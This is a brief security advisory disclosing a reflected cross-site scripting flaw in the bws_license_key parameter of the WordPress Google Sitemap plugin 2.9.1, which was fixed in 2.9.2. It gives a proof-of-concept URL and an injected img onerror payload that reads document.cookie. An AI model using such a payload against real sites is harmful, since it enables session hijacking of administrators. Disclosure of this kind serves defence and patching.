Plugin Name : Google Sitemap
 
Effected Version : 2.9.1 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
http://localhost/wp-admin/admin.php?page=google-sitemap-plugin.php&action=go_pro
 
bws_license_key =”><img src=x onerror=prompt(document.cookie);>
 
 
Vulnerable Parameter : bws_license_key
 
Type of XSS : Reflected
 
Fixed in : 2.9.2
 
http://wordpress.org/plugins/google-sitemap-plugin/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
With the Google Sitemap Plugin you can create and add a Sitemap file to Google Webmaster Tools, and get the info about your site in Google Webmaster Tools.